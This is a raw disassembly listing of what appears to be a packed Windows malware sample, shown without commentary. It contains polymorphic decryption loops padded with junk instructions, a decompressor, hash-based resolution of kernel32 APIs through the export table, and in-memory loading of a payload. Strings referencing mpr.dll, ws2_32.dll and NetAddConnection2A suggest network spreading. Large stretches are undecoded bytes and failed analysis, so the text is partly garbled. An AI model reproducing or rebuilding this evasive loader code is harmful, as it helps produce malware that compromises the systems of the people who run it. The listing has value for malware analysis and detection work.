5053458Dh, 0EDB5FF53h, 8D000009h dd 0E9503545h, 82h, 970000h db 2 dup(0), 3 byte_4E004F db 0 ; DATA XREF: seg002:00433C25o ; seg002:00434455o dd 77E79E34h, 99E000h, 77E805D8h, 77E79F93h, 0 dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h, 81E801EBh dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h, 0D0FF3575h dd 8535458Bh, 680D74C0h, 8000h, 75FF006Ah, 3D55FF35h, 61DB0B5Bh dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0D9B9000Ch dd 0E81BE29Eh, 13h, 0AA954C7Fh, 7611389Bh, 24DE477h, 4E495013h dd 68057C6Fh, 0DBDBF68h, 68C0Fh, 800F0000h, 0 ; --------------------------------------------------------------------------- pop ebx pop eax push 2F0E15FEh mov dx, 940Ah pop ebx add eax, 840h and dx, 852Dh mov esi, 1D8h mov dh, 0FAh loc_4E0116: ; CODE XREF: .data:004E01A1j mov edi, [eax] or dl, 61h sub edi, 7A1C72ABh add edi, 444F1D08h push 63FA93E3h adc bl, 55h pop ecx sub edi, 2CB7FCA1h jmp loc_4E0141 ; --------------------------------------------------------------------------- db 36h dd 0C20DA437h db 0D3h ; --------------------------------------------------------------------------- loc_4E0141: ; CODE XREF: .data:004E0136j mov [eax], edi jmp loc_4E015C ; --------------------------------------------------------------------------- dd 4B1AC53Ch, 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch ; --------------------------------------------------------------------------- loc_4E015C: ; CODE XREF: .data:004E0143j sub eax, 4 mov bh, 11h sub esi, 1 jnz loc_4E0189 jnz loc_4E017F jmp loc_4E017F ; --------------------------------------------------------------------------- db 7Ah, 2Bh, 88h dd 34074621h db 5Dh, 0D2h, 0A3h ; --------------------------------------------------------------------------- loc_4E017F: ; CODE XREF: .data:004E016Aj ; .data:004E0170j jmp loc_4E01B8 ; --------------------------------------------------------------------------- dd 0CCFF1E59h db 15h ; --------------------------------------------------------------------------- loc_4E0189: ; CODE XREF: .data:004E0164j call near ptr loc_4E019A+1 xchg eax, ecx div bh db 64h int 82h xchg eax, ebx ror cl, 1 into out dx, eax cld loc_4E019A: ; CODE XREF: .data:loc_4E0189p test [esi-7Fh], esp repne out 73h, eax pop ecx jmp loc_4E0116 ; CODE XREF: .data:004E01C3j ; --------------------------------------------------------------------------- dw 8332h dd 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h ; --------------------------------------------------------------------------- loc_4E01B8: ; CODE XREF: .data:loc_4E017Fj mov di, si call sub_4E01C7 add dword ptr [eax], 39h jle short near ptr loc_4E01A1+3 sub al, 0F5h ; =============== S U B R O U T I N E ======================================= sub_4E01C7 proc near ; CODE XREF: .data:004E01BBp pop edx add ch, 0E2h add edx, 754h push 1ABh add bx, 5BE1h pop esi or di, 0F163h loc_4E01E1: ; CODE XREF: sub_4E0251+10j mov eax, [edx] jmp loc_4E01FC ; --------------------------------------------------------------------------- dd 0DBEAD58Ch, 0B7B65178h, 53428D24h, 0AF8E8990h, 0CB9A45BCh ; --------------------------------------------------------------------------- loc_4E01FC: ; CODE XREF: sub_4E01C7+1Cj sub eax, 56A223EFh push 21BE5666h push edx movzx ebx, di pop ecx pop edi xor eax, 43D64EFCh call near ptr loc_4E0220+5 xor [esi], edx xchg eax, edi test [ebp-5Eh], ch xor esi, eax loc_4E0220: ; CODE XREF: sub_4E01C7+4Cp imul ebp, esi, 51251C8Fh sub_4E01C7 endp ; sp-analysis failed jmp loc_4E0237 ; --------------------------------------------------------------------------- mov ah, 0DDh push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait loc_4E0237: ; CODE XREF: .data:004E0226j pop ecx pop ebx add eax, 41389985h push esi movsx ebx, ax pop ebx mov [edx], eax call near ptr sub_4E0251 db 26h, 67h adc al, 0BDh mov dl, 3 ; =============== S U B R O U T I N E ======================================= sub_4E0251 proc far ; CODE XREF: .data:004E0246p mov di, cx pop edi sub edx, 4 mov cx, di sub esi, 1 jnz loc_4E01E1 mov edi, 7FBA34BAh jnz loc_4E0275 movsx ebx, cx loc_4E0275: ; CODE XREF: sub_4E0251+1Bj call sub_4E0289 retf sub_4E0251 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0A8h dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h db 0B5h ; =============== S U B R O U T I N E ======================================= sub_4E0289 proc near ; CODE XREF: sub_4E0251:loc_4E0275p mov edx, esi pop esi push ecx mov bl, 38h pop ebx add esi, 699h movzx edx, di mov eax, 17Ch mov edx, 475D6252h loc_4E02A3: ; CODE XREF: sub_4E02CD+43j push dword ptr [esi] movzx ecx, di pop edi sub edi, 2F63DAD5h mov ebx, 6ADF0402h add edi, 6FEF42EAh call sub_4E02CD dec esi outsd jl short near ptr loc_4E02C7+1 pop edx mov ebp, [eax-7Fh] loc_4E02C7: ; CODE XREF: sub_4E0289+38j db 26h, 67h adc al, 0BDh mov dl, 3 sub_4E0289 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4E02CD proc near ; CODE XREF: sub_4E0289+31p movzx ecx, bx pop ecx xor edi, 3A3EF9DBh movsx ecx, cx push edi mov ebx, esi pop dword ptr [esi] and edx, 0B09089Dh sub esi, 4 movsx ebx, cx sub eax, 1 jnz loc_4E030A mov edx, 569E0936h jmp loc_4E0327 ; --------------------------------------------------------------------------- dw 0DA4h ; --------------------------------------------------------------------------- retn 10D3h ; --------------------------------------------------------------------------- db 9 dd 0C53C2F0Eh db 1Ah, 4Bh ; --------------------------------------------------------------------------- loc_4E030A: ; CODE XREF: sub_4E02CD+21j xor ecx, 1A6373D4h jmp loc_4E02A3 ; --------------------------------------------------------------------------- db 72h, 0C3h, 40h dd 6C1FBE79h, 583BCA35h, 41796B1h db 0EDh, 22h, 0B3h ; --------------------------------------------------------------------------- loc_4E0327: ; CODE XREF: sub_4E02CD+2Cj call sub_4E033E sub_4E02CD endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h db 82h, 93h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4E033E proc near ; CODE XREF: sub_4E02CD:loc_4E0327p var_C = dword ptr -0Ch mov esi, 3DC42EFh pop ebx jmp loc_4E0358 ; --------------------------------------------------------------------------- db 0Bh, 0E8h, 1 dd 3D94E7A6h, 39008332h, 0F52CDF7Eh ; --------------------------------------------------------------------------- loc_4E0358: ; CODE XREF: sub_4E033E+6j add ebx, 5E6h jnz loc_4E0366 mov dh, 0CAh loc_4E0366: ; CODE XREF: sub_4E033E+20j mov ecx, 14Ah movsx esi, si loc_4E036E: ; CODE XREF: sub_4E033E+A4j push dword ptr [ebx] pop eax push ebx jle loc_4E037D mov esi, 2EDF9FBFh loc_4E037D: ; CODE XREF: sub_4E033E+34j pop edx xor eax, 217AC9E9h xor eax, 7E03266Eh adc si, 9E8Eh add eax, 4421110Fh jmp loc_4E03A4 ; --------------------------------------------------------------------------- dw 0CB9Ah dd 0A766C1A8h, 43F2FD54h ; --------------------------------------------------------------------------- loc_4E03A4: ; CODE XREF: sub_4E033E+57j mov [ebx], eax jns loc_4E03AF mov si, ax loc_4E03AF: ; CODE XREF: sub_4E033E+68j sub ebx, 4 mov dx, cx dec ecx jnz loc_4E03DC jnp loc_4E03C7 mov edx, 6D6968FAh loc_4E03C7: ; CODE XREF: sub_4E033E+7Ej jmp loc_4E03EE ; --------------------------------------------------------------------------- or [ecx-224B783Ah], ah push edx and esp, [eax] fstp dword ptr [esi-556AB381h] wait loc_4E03DC: ; CODE XREF: sub_4E033E+78j sub edx, 888984Dh jmp loc_4E036E ; --------------------------------------------------------------------------- db 13h dd 6F4E4950h ; --------------------------------------------------------------------------- jl short loc_4E03F3 loc_4E03EE: ; CODE XREF: sub_4E033E:loc_4E03C7j call $+5 loc_4E03F3: ; CODE XREF: sub_4E033E+AEj pop ebp pop ebx mov [ebp+5Bh], ebx pop ebx mov [ebp+5Fh], ebx pop eax mov [ebp+40Dh], eax pop eax cmp byte ptr [ebp+5Ah], 1 jnz short loc_4E0463 mov [ebp+425h], eax pusha lea eax, [ebp+33h] push eax xor eax, eax push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ebx call sub_4E0708 jmp short loc_4E0442 ; --------------------------------------------------------------------------- mov esp, [esp+14h+var_C] pop dword ptr fs:0 add esp, 4 popa lea eax, [ebp+63h] push eax call dword ptr [ebp+5Fh] call loc_4E071E jmp short loc_4E044B ; --------------------------------------------------------------------------- loc_4E0442: ; CODE XREF: sub_4E033E+E6j pop dword ptr fs:0 add esp, 24h loc_4E044B: ; CODE XREF: sub_4E033E+102j jmp short loc_4E0468 ; --------------------------------------------------------------------------- align 2 dd offset dword_4E0004+44h aUqcwkernel32_d db '“Ÿçwkernel32.dll',0 ; --------------------------------------------------------------------------- loc_4E0463: ; CODE XREF: sub_4E033E+CAj call sub_4E0704 loc_4E0468: ; CODE XREF: sub_4E033E:loc_4E044Bj cld lea esi, [ebp+8Ch] lodsd or eax, eax jz short loc_4E048F mov edi, eax mov ecx, 0Ch rep movsb jmp short loc_4E048F ; --------------------------------------------------------------------------- align 10h dd 20004010h, 19B23344h, 8F80AA11h db 0E8h, 19h, 0EDh ; --------------------------------------------------------------------------- loc_4E048F: ; CODE XREF: sub_4E033E+134j ; sub_4E033E+13Fj mov [ebp+429h], esp push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+1CCh], eax mov ebx, [ebp+400h] add ebx, [ebp+40Dh] push eax push ebx call sub_4E05C7 push 40h push 1000h push dword ptr [ebp+408h] push 0 call dword ptr [ebp+3F0h] mov [ebp+431h], eax mov [ebp+1D0h], eax mov eax, fs:0 mov [ebp+42Dh], eax mov edx, [ebp+5Bh] mov eax, [ebp+1D0h] mov [edx], eax mov eax, [ebp+408h] mov [edx+4], eax lea eax, [ebp+39Fh] mov eax, [eax+55h] mov [edx+8], eax mov eax, [ebp+3ECh] mov [edx+10h], eax mov eax, [ebp+3E8h] mov [edx+14h], eax mov edx, [ebp+1CCh] mov ebx, 1F8h loc_4E052C: ; CODE XREF: sub_4E033E+212j mov edi, [edx+ebx+0Ch] or edi, edi jz short loc_4E0552 mov ecx, [edx+ebx+10h] or ecx, ecx jz short loc_4E054D add edi, [ebp+1D0h] mov esi, [edx+ebx+14h] add esi, edx sar ecx, 2 rep movsd loc_4E054D: ; CODE XREF: sub_4E033E+1FCj add ebx, 28h jmp short loc_4E052C ; --------------------------------------------------------------------------- loc_4E0552: ; CODE XREF: sub_4E033E+1F4j mov eax, [ebp+1CCh] push eax mov edx, [ebp+1D0h] push edx mov ebx, [eax] add ebx, edx mov eax, [ebp+3E4h] mov [ebx], eax mov eax, [ebp+3E8h] mov [ebx+4], eax mov eax, [ebp+3ECh] mov [ebx+8], eax pop edi pop esi mov eax, [esi+4] add eax, edi mov [ebp+1C7h], eax mov edx, [ebp+5Bh] mov eax, [ebp+1C7h] mov [edx+0Ch], eax lea ebx, [ebp+40Dh] push ebx push 0 push 0 push 1 push edi mov ebx, [esi+8] add ebx, edi push ebx push 8000h push 0 push esi call dword ptr [ebp+3F4h] push 99E000h retn sub_4E033E endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h dd 9400h db 0, 97h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4E05C7 proc near ; CODE XREF: sub_4E033E+180p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp pusha push ebp mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] cld mov dl, 80h loc_4E05D5: ; CODE XREF: sub_4E05C7:loc_4E05E4j mov al, [esi] inc esi mov [edi], al inc edi loc_4E05DB: ; CODE XREF: sub_4E05C7+72j ; sub_4E05C7+B7j ... add dl, dl jnz short loc_4E05E4 mov dl, [esi] inc esi adc dl, dl loc_4E05E4: ; CODE XREF: sub_4E05C7+16j jnb short loc_4E05D5 add dl, dl jnz short loc_4E05EF mov dl, [esi] inc esi adc dl, dl loc_4E05EF: ; CODE XREF: sub_4E05C7+21j jnb short loc_4E063B xor eax, eax add dl, dl jnz short loc_4E05FC mov dl, [esi] inc esi adc dl, dl loc_4E05FC: ; CODE XREF: sub_4E05C7+2Ej jnb loc_4E06D8 add dl, dl jnz short loc_4E060B mov dl, [esi] inc esi adc dl, dl loc_4E060B: ; CODE XREF: sub_4E05C7+3Dj adc eax, eax add dl, dl jnz short loc_4E0616 mov dl, [esi] inc esi adc dl, dl loc_4E0616: ; CODE XREF: sub_4E05C7+48j adc eax, eax add dl, dl jnz short loc_4E0621 mov dl, [esi] inc esi adc dl, dl loc_4E0621: ; CODE XREF: sub_4E05C7+53j adc eax, eax add dl, dl jnz short loc_4E062C mov dl, [esi] inc esi adc dl, dl loc_4E062C: ; CODE XREF: sub_4E05C7+5Ej adc eax, eax jz short loc_4E0636 push edi sub edi, eax mov al, [edi] pop edi loc_4E0636: ; CODE XREF: sub_4E05C7+67j mov [edi], al inc edi jmp short loc_4E05DB ; --------------------------------------------------------------------------- loc_4E063B: ; CODE XREF: sub_4E05C7:loc_4E05EFj mov eax, 1 loc_4E0640: ; CODE XREF: sub_4E05C7:loc_4E0654j add dl, dl jnz short loc_4E0649 mov dl, [esi] inc esi adc dl, dl loc_4E0649: ; CODE XREF: sub_4E05C7+7Bj adc eax, eax add dl, dl jnz short loc_4E0654 mov dl, [esi] inc esi adc dl, dl loc_4E0654: ; CODE XREF: sub_4E05C7+86j jb short loc_4E0640 sub eax, 2 jnz short loc_4E0683 mov ecx, 1 loc_4E0660: ; CODE XREF: sub_4E05C7:loc_4E0674j add dl, dl jnz short loc_4E0669 mov dl, [esi] inc esi adc dl, dl loc_4E0669: ; CODE XREF: sub_4E05C7+9Bj adc ecx, ecx add dl, dl jnz short loc_4E0674 mov dl, [esi] inc esi adc dl, dl loc_4E0674: ; CODE XREF: sub_4E05C7+A6j jb short loc_4E0660 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_4E05DB ; --------------------------------------------------------------------------- loc_4E0683: ; CODE XREF: sub_4E05C7+92j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_4E0691: ; CODE XREF: sub_4E05C7:loc_4E06A5j add dl, dl jnz short loc_4E069A mov dl, [esi] inc esi adc dl, dl loc_4E069A: ; CODE XREF: sub_4E05C7+CCj adc ecx, ecx add dl, dl jnz short loc_4E06A5 mov dl, [esi] inc esi adc dl, dl loc_4E06A5: ; CODE XREF: sub_4E05C7+D7j jb short loc_4E0691 cmp eax, 7D00h jnb short loc_4E06C8 cmp eax, 500h jb short loc_4E06C3 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E05DB ; --------------------------------------------------------------------------- loc_4E06C3: ; CODE XREF: sub_4E05C7+ECj cmp eax, 7Fh ja short loc_4E06CB loc_4E06C8: ; CODE XREF: sub_4E05C7+E5j add ecx, 2 loc_4E06CB: ; CODE XREF: sub_4E05C7+FFj push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E05DB ; --------------------------------------------------------------------------- loc_4E06D8: ; CODE XREF: sub_4E05C7:loc_4E05FCj mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz short loc_4E06F4 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_4E05DB ; --------------------------------------------------------------------------- loc_4E06F4: ; CODE XREF: sub_4E05C7+119j pop ebp sub edi, [ebp+arg_4] mov [ebp+var_4], edi popa pop ebp retn 8 sub_4E05C7 endp ; --------------------------------------------------------------------------- dd 77E82140h ; =============== S U B R O U T I N E ======================================= sub_4E0704 proc near ; CODE XREF: sub_4E033E:loc_4E0463p arg_20 = dword ptr 24h mov eax, [esp+arg_20] sub_4E0704 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4E0708 proc near ; CODE XREF: sub_4E033E+E1p and eax, 0FFFF0000h add eax, 10000h loc_4E0712: ; CODE XREF: sub_4E0708+14j sub eax, 10000h cmp word ptr [eax], 5A4Dh jnz short loc_4E0712 loc_4E071E: ; CODE XREF: sub_4E033E+FDp pusha mov [ebp+3F8h], eax mov edx, eax mov ebx, eax add eax, [eax+3Ch] add ebx, [eax+78h] mov [ebp+30Dh], ebx lea ebx, [ebp+3CCh] lea edi, [ebp+3E4h] loc_4E0741: ; CODE XREF: sub_4E0708+4Dj mov esi, [ebx] mov [ebp+37Ch], esi call sub_4E0759 stosd add ebx, 4 cmp dword ptr [ebx], 0 jnz short loc_4E0741 popa retn sub_4E0708 endp ; =============== S U B R O U T I N E ======================================= sub_4E0759 proc near ; CODE XREF: sub_4E0708+41p var_4 = dword ptr -4 pusha mov ebx, [ebp+30Dh] mov ecx, [ebx+20h] add ecx, edx loc_4E0765: ; CODE XREF: sub_4E0759+21j mov esi, [ecx] add esi, edx call sub_4E079D mov edi, 49CD75CEh cmp eax, edi jz short loc_4E077C add ecx, 4 jmp short loc_4E0765 ; --------------------------------------------------------------------------- loc_4E077C: ; CODE XREF: sub_4E0759+1Cj sub ecx, [ebx+20h] sub ecx, edx shr ecx, 1 add ecx, [ebx+24h] add ecx, edx movzx ecx, word ptr [ecx] shl ecx, 2 add ecx, [ebx+1Ch] add ecx, edx mov ecx, [ecx] add ecx, edx mov [esp+20h+var_4], ecx popa retn sub_4E0759 endp ; =============== S U B R O U T I N E ======================================= sub_4E079D proc near ; CODE XREF: sub_4E0759+10p push edx mov edx, 9C3B248Eh loc_4E07A3: ; CODE XREF: sub_4E079D+1Dj lodsb or al, al jz short loc_4E07BC xor dl, al mov al, 8 loc_4E07AC: ; CODE XREF: sub_4E079D+1Bj shr edx, 1 jnb short loc_4E07B6 xor edx, 0C1A7F39Ah loc_4E07B6: ; CODE XREF: sub_4E079D+11j dec al jnz short loc_4E07AC jmp short loc_4E07A3 ; --------------------------------------------------------------------------- loc_4E07BC: ; CODE XREF: sub_4E079D+9j xchg eax, edx pop edx retn sub_4E079D endp ; --------------------------------------------------------------------------- db 0A7h dd 0F0B72551h, 57A7493Bh, 13901902h, 0CE74EE32h, 49CD75h dd 0FD000000h, 9377E7A5h, 0D877E79Fh, 0A77E805h, 3477E798h dd 77E79Eh, 77E600h, 540001B6h, 0F2000E0Bh, 158h, 300h dd 2 dup(400000h), 3 dup(0) dd 29200h, 0 dd 12FFA4h, 12FFE0h, 970000h, 1000h, 26200h, 122BEh, 28000h dd 1E00h, 170Dh, 2A000h, 15E00h, 7428h, 64h dup(0) dd 2000h, 8, 6 dup(0) dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 47000000h, 72507465h dd 6441636Fh, 73657264h, 73h, 4D746547h, 6C75646Fh, 6E614865h dd 41656C64h, 4C000000h, 4C64616Fh, 61726269h, 417972h dd 3 dup(0) dd 0E0A10h, 0E09FCh, 3 dup(0) dd 0E0AC8h, 0E0AF5h, 3 dup(0) dd 0E0AD0h, 0E0AFDh, 3 dup(0) dd 0E0ADBh, 0E0B05h, 3 dup(0) dd 0E0AE8h, 0E0B0Dh, 5 dup(0) db 6Dh ; m db 70h, 72h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 77h ; w db 73h, 32h, 5Fh db 33h ; 3 db 32h, 2Eh, 64h db 6Ch ; l db 6Ch, 0, 6Fh db 6Ch ; l db 65h, 61h, 75h db 74h ; t db 33h, 32h, 2Eh db 64h ; d db 2 dup(6Ch), 0 db 6Bh ; k db 65h, 72h, 6Eh db 65h ; e db 6Ch, 33h, 32h db 2Eh ; . db 64h, 2 dup(6Ch) db 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0B2ACh db 71h ; q align 4 db 0 db 22h, 41h, 0ABh db 71h ; q align 4 db 0 db 25h, 18h, 12h db 77h ; w align 4 db 0 db 6, 0D7h, 0E6h db 77h ; w align 4 db 0 db 2 dup(0), 57h aNetaddconnecti db 'NetAddConnection2A',0 align 4 db 0 aVariantchanget db 'VariantChangeTypeEx',0 db 2 dup(0), 52h aAiseexception db 'aiseException',0 align 4 dd 2E838A4h, 8E06170h, 0C2018D88h, 1E7019Fh, 705E5708h dd 12578703h, 50BB3810h, 46FF009Ah, 4492513h, 2443BDE3h dd 6592260h, 2801142Bh, 70122051h, 1A0A012Ah, 47F45001h dd 0E2285790h, 480424A0h, 3044DE20h, 121E89B0h, 9150BD24h dd 570A22E0h, 0F0B22842h, 364CC8B9h, 481FBE9h, 20401038h dd 5300060Ch, 6E697274h, 75586735h, 50010019h, 338E0420h dd 18002C9Ch, 0AC0922A8h, 0A4B044h, 812B8488h, 20E01298h dd 4F54070Eh, 656A0062h, 0FF7463h, 7091A425h, 0C08B3242h dd 39A01000h, 8E981C9Ch, 23940047h, 0C88C9190h, 8401E488h dd 7C398072h, 2286781Ch, 44B82374h, 0E4B4C800h, 3968726Ch dd 601C2064h, 58235C00h, 50C85491h, 724C01E4h, 1C443948h dd 23B00040h, 3891013Ch, 30E434C8h, 0C439D472h, 0DEE1D3Ah dd 2A281C2Ch, 0EE023F8h, 0D8C8DC91h, 0D072D4E0h, 83015318h dd 0BBBCC409h, 6E80200Ah, 0C10123E8h, 4400F60Ch, 74DC2C24h dd 0F1E05h, 30065CB7h, 0FE38C38Bh, 47EB5B00h, 6534DA2Ch dd 8320720h, 3618391Ch, 100F7A14h, 80900C23h, 0BE5653C0h dd 0C774074Ch, 3E8312h, 44683A75h, 0CC066701h, 0DFE8036Ah dd 8BDBC0h, 75C985C8h, 0C0313305h, 0A1CA5E00h, 89438E48h dd 0D4A1C01h, 0D2803F08h, 0C003C28Bh, 441D8D0Fh, 1EC004C1h dd 6901889h, 3837D42h, 0EC7564FAh, 10883F9Eh, 59001633h dd 3B54B690h, 72D10440h, 0D8F23858h, 1F33E880h, 0ED859602h dd 8B493000h, 503A8916h, 56990E08h, 803F0C04h, 6233EF13h dd 42481458h, 0B003003Ch, 50191C01h, 0FD083DA2h, 9451F980h dd 9991150Eh, 43A33E00h, 9003C307h, 557F57h, 14F9F18Bh dd 5AE8D424h, 9760500Fh, 6A466004h, 0BEEB5Dh, 0B03BBF90h dd 3D0A043h, 0C795300h, 14751612h, 0E8130006h, 27D4DDA7h dd 0A7F6096h, 4460100h, 4C50EB6Eh, 3B4E0003h, 0D75C215h dd 180FD41Dh, 6FDF077Dh, 0C7005FEBh, 0E8C5E1D6h, 2B940977h dd 990FA084h, 5D5A6AA0h, 8901A45Fh, 12E0C58Dh, 0F8E40A74h dd 3A3900BFh, 0A13230FBh, 7201F03Bh, 0CE186C7Dh, 0E8DC4A03h dd 6E610055h, 5E77CDD8h, 7500248Fh, 36BCB41Bh, 0CFF01h dd 83AA2963h, 40829C7Bh, 65994400h, 0A9743EBh, 0ED7250D8h dd 74CE0077h, 5430DFF8h, 1D00FECFh, 0EBCD7329h, 9E2A26h dd 24478985h, 7C57F92Bh, 12965C03h, 0E0FBD0F0h, 30D476B9h dd 0EB28A76Ah, 0D000E0Ch, 3B1BA898h, 0FA65FB7Eh, 6259071Ch dd 23A39092h, 0F0A8DA8Bh, 0CE0AFE81h, 9C02104Eh, 808DBE09h dd 0FFC6FC12h, 14BB00E3h, 1008E636h, 73008903h, 68016A04h dd 242083h, 90C05618h, 89F880EFh, 0FF853B09h, 909803Ch dd 350B8D3h, 0C664482Ah, 80A94A13h, 38BC8E4h, 0F700E8FAh dd 7AF84FD5h, 7D1264ACh, 41D91F55h, 47FC80B4h, 6A614304h dd 505DB500h, 55520C68h, 75C50E53h, 0CA20791Fh, 1C259332h dd 3B839E0Ah, 0A500C729h, 9F6CA4DCh, 4CD200ECh, 0E4491312h dd 0E31283C7h, 1E07FF08h, 54117D66h, 0E8C51D90h, 0F88F09E8h dd 2A790FC5h, 4180ED10h, 2451EB4Fh, 9073F31Ch, 77EE1E40h dd 3BC64946h, 0BB000F03h, 0EDEFDF35h, 43036A74h, 0D568987h dd 767FC015h, 0A96B0FDEh, 73609575h, 0A06864Dh, 2C05C700h dd 261BDC8Dh, 0DF501C10h, 59FBC781h, 30EB3075h, 0ED7E0460h dd 0D47C8300h, 1928C070h, 43E93D0Fh, 22620800h, 0AD2B0C15h dd 321D9700h, 14AC50AFh, 0B974A6h, 4CF447B8h, 0EA1C7285h dd 0E5813Fh, 337BAF0h, 0C2971Ah, 20930F74h, 0B5F887E2h dd 4C1E8900h, 0D10D281Bh, 4DC5072Bh, 0B035F546h, 5EFE3CCFh dd 7E12C174h, 9201030Ch, 27C7690h, 3DFDDCCh, 0F1BAE8F8h dd 3C800DA6h, 58001E24h, 2B0F1044h, 535764h, 0C1755A85h dd 0C9EBA628h, 8A003390h, 0BC65BA0Fh, 0C860Ah, 740B6B92h dd 0B6612C32h, 0A221F300h, 86E6824Ch, 9E342650h, 590301D9h dd 0F8C9583Fh, 2B0032F7h, 8594410Fh, 0C33842h, 0B773241Ch dd 0EFE10ADDh, 8D00DE7Dh, 0E8835EFDh, 3404781h, 2E24249h dd 58C89412h, 0AD0038C0h, 0BDD04531h, 0F837C160h, 3FFF00C7h dd 83E78753h, 0F50031C0h, 3B33D45Dh, 7F0F60h, 7C4A2C58h dd 0E55D759h, 557E800h, 74772117h, 46FD0050h, 85764963h dd 0A2073E90h, 0DD0AC935h, 0AA6480DEh, 98E814C7h, 8F2F00A5h dd 19CCCB21h, 390BFBAh, 5CCDA7A0h, 7423A500h, 0E83A060Ch dd 59CC009Fh, 24376CDEh, 64137A10h, 2B0EB05Ch, 0A73F80FAh dd 2C026593h, 806207h, 75558249h, 57EE85F5h, 0FA34200h dd 0E0A4968Eh, 0DA95038Dh, 2A2BA90Bh, 56269CE8h, 270FE8F6h dd 0E31D35BDh, 3373306h, 0A5C99284h, 42C82686h, 8400B175h dd 0EF9D8B16h, 7258C4Dh, 0AAC226Dh, 4E08C0E9h, 0A0008AC9h dd 0E345947h, 7850F82h, 9FFF6A66h, 48EB704Bh, 81166B29h dd 0AB07F51Ch, 1DA04922h, 1EB4D855h, 40857AA6h, 38832146h dd 28006FA8h, 1A406911h, 109A94Fh, 10425214h, 0F44A078Ah dd 1600C7ABh, 26239280h, 98C5F98Bh, 199800FCh, 300DE31Ch dd 7B000336h, 0BE650F0h, 0DE1F3Bh, 0CFD25B73h, 0D32B7406h dd 0EB298B00h, 0B844CC05h, 4D4F0089h, 8F5CF1B9h, 0DB038520h dd 59B61FCAh, 64B490C3h, 0B1892E39h, 0B2A5032Dh, 0F6B80811h dd 0F2004914h, 40333C48h, 94EB03h, 8E07957Ah, 815C8D52h dd 9CEC2800h, 662668EAh, 4B7F19h, 3332FF64h, 30DA2289h dd 68288F00h, 3D800301h, 65700041h, 230A7E16h, 5D000713h dd 6F8861EFh, 0F8729EB5h, 1214008Ch, 0CA0FF868h, 0A30718CCh dd 3D832D88h, 841A0650h, 0EFB8002Fh, 5159D85h, 0C900330Eh dd 0F482C080h, 173D2A40h, 0DAF01h, 2770B841h, 7300BE2Ch dd 847C62C8h, 52805C6h, 0EA0014Ah, 8CF5005Ah, 6D68100Ah dd 87299707h, 0C3800F51h, 3BAF3E9h, 0E5EB14FEh, 5DF82EA0h dd 53001BC4h, 86C8E74Ch, 3CC840Fh, 21D2A4D5h, 0C7971A4Ah dd 0E068815Eh, 1291F0A1h, 0E74C29B0h, 0B24D0360h, 0D825F477h dd 423C3Ah, 0A63D51D5h, 0E4B52EB3h, 39FE601h, 61B88993h dd 117FDE4h, 153E3238h, 0E0535E57h, 0E9007505h, 0DA77CA51h dd 1F3B1A94h, 80290A52h, 5BDBC2E4h, 537CE080h, 0A17C051Ch dd 83390980h, 0B1528h, 480213DFh, 0E4F98108h, 7F27AD0Eh dd 176D0038h, 0B79C985h, 0C183031Ch, 240968Eh, 0CD97D2D5h dd 0EBF48100h, 51174A24h, 18460FDAh, 0F560F02Ch, 0D6780CBFh dd 0AE158203h, 752D709h, 938C9D66h, 4AB590EBh, 0C100ED80h dd 0EE030772h, 70FCF0Ch, 8112C216h, 7518F0FAh, 10009EE8h dd 31185B9h, 0A08E534Fh, 1CA40BEh, 97F0E983h, 0C401761Ch dd 7C0010FAh, 703C70Fh, 8B3034h, 2085D14Ch, 28A0D80Ch dd 0F37C0400h, 0C981428Ah, 808703C8h, 0B260889h, 5FF1490h dd 87B81C3Fh, 4EA83D0h, 0FCE2ABF0h, 7FE40186h, 15011217h dd 11EB6020h, 3CAC0B00h, 7C3A0C6Eh, 0CA96000Eh, 2C2B5F02h dd 13010D84h, 4A522A0Bh, 0A7701C0Ah, 4DB8C2h, 4D08B1FEh dd 0E1339048h, 9149200h, 31742506h, 47F2Ah, 0A154B0DAh dd 0AE802B64h, 1133C800h, 0B2FEC2F7h, 20AC1EE2h, 1F643EBh dd 8AB8FAC7h, 72E0A746h, 0C62B0800h, 58EB703Bh, 8806001Eh dd 2B64FE8h, 0DE00030Bh, 64455509h, 1FD8963Dh, 7A00733h dd 20670AA9h, 3E5A250Bh dd 0B0F8BF00h, 2A824D8h, 13760075h, 0C655F378h, 4600FC32h dd 8316A008h, 0FE7A23h, 0B02CC74Bh, 0B20994F8h, 13B34503h dd 984D665Ch, 7FDC5D3Fh, 418D0067h, 52D12B37h, 873D7FF3h dd 0C49CAEC9h, 0FBC5FA00h, 4C7DE9E3h, 7F39B412h, 91925304h dd 0C37AC466h, 25F80F47h, 8D00EFA8h, 1157E746h, 822CF4h dd 0B979EDD6h, 0D5C6301Eh, 0B5002B79h, 0AA6BE342h, 